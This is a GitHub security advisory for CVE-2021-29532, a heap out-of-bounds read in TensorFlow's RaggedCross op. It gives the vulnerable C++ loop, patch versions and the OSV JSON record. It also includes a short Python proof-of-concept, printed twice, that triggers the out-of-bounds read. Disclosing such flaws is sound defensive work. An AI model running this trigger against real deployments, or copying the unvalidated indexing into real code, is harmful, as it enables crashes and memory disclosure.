ghsa-j47f-4232-hvv8
Vulnerability from github
Impact
An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to tf.raw_ops.RaggedCross:
```python import tensorflow as tf
ragged_values = [] ragged_row_splits = [] sparse_indices = [] sparse_values = [] sparse_shape = []
dense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64) dense_inputs = [dense_inputs_elem]
input_order = "R" hashed_output = False num_buckets = 0 hash_key = 0
tf.raw_ops.RaggedCross(ragged_values=ragged_values, ragged_row_splits=ragged_row_splits, sparse_indices=sparse_indices, sparse_values=sparse_values, sparse_shape=sparse_shape, dense_inputs=dense_inputs, input_order=input_order, hashed_output=hashed_output, num_buckets=num_buckets, hash_key=hash_key, out_values_type=tf.int64, out_row_splits_type=tf.int64) ```
This is because the implementation lacks validation for the user supplied arguments:
cc
int next_ragged = 0;
int next_sparse = 0;
int next_dense = 0;
for (char c : input_order_) {
if (c == 'R') {
TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(
ragged_values_list[next_ragged], ragged_splits_list[next_ragged],
features));
next_ragged++;
} else if (c == 'S') {
TF_RETURN_IF_ERROR(BuildSparseFeatureReader(
sparse_indices_list[next_sparse], sparse_values_list[next_sparse],
batch_size, features));
next_sparse++;
} else if (c == 'D') {
TF_RETURN_IF_ERROR(
BuildDenseFeatureReader(dense_list[next_dense++], features));
}
...
}
Each of the above branches call a helper function after accessing array elements via a *_list[next_*] pattern, followed by incrementing the next_* index. However, as there is no validation that the next_* values are in the valid range for the corresponding *_list arrays, this results in heap OOB reads.
Patches
We have patched the issue in GitHub commit 44b7f486c0143f68b56c34e2d01e146ee445134a.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
{
"affected": [
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"ecosystem": "PyPI",
"name": "tensorflow"
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"ecosystem": "PyPI",
"name": "tensorflow-gpu"
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}
],
"aliases": [
"CVE-2021-29532"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-18T22:54:15Z",
"nvd_published_at": "2021-05-14T20:15:00Z",
"severity": "LOW"
},
"details": "### Impact\nAn attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to `tf.raw_ops.RaggedCross`:\n\n```python\nimport tensorflow as tf\n\nragged_values = []\nragged_row_splits = [] \nsparse_indices = []\nsparse_values = []\nsparse_shape = []\n\ndense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)\ndense_inputs = [dense_inputs_elem]\n\ninput_order = \"R\"\nhashed_output = False\nnum_buckets = 0\nhash_key = 0 \n\ntf.raw_ops.RaggedCross(ragged_values=ragged_values,\n ragged_row_splits=ragged_row_splits,\n sparse_indices=sparse_indices,\n sparse_values=sparse_values,\n sparse_shape=sparse_shape,\n dense_inputs=dense_inputs,\n input_order=input_order,\n hashed_output=hashed_output,\n num_buckets=num_buckets,\n hash_key=hash_key,\n out_values_type=tf.int64,\n out_row_splits_type=tf.int64)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efea03b38fb8d3b81762237dc85e579cc5fc6e87/tensorflow/core/kernels/ragged_cross_op.cc#L456-L487) lacks validation for the user supplied arguments:\n\n```cc\nint next_ragged = 0;\nint next_sparse = 0;\nint next_dense = 0;\nfor (char c : input_order_) {\n if (c == \u0027R\u0027) {\n TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(\n ragged_values_list[next_ragged], ragged_splits_list[next_ragged],\n features));\n next_ragged++;\n } else if (c == \u0027S\u0027) {\n TF_RETURN_IF_ERROR(BuildSparseFeatureReader(\n sparse_indices_list[next_sparse], sparse_values_list[next_sparse],\n batch_size, features));\n next_sparse++;\n } else if (c == \u0027D\u0027) {\n TF_RETURN_IF_ERROR(\n BuildDenseFeatureReader(dense_list[next_dense++], features));\n }\n ...\n}\n```\n\nEach of the above branches call a helper function after accessing array elements via a `*_list[next_*]` pattern, followed by incrementing the `next_*` index. However, as there is no validation that the `next_*` values are in the valid range for the corresponding `*_list` arrays, this results in heap OOB reads.\n\n### Patches\nWe have patched the issue in GitHub commit [44b7f486c0143f68b56c34e2d01e146ee445134a](https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.",
"id": "GHSA-j47f-4232-hvv8",
"modified": "2024-10-30T23:21:38Z",
"published": "2021-05-21T14:22:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j47f-4232-hvv8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29532"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-460.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-658.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-169.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Heap out of bounds read in `RaggedCross`"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.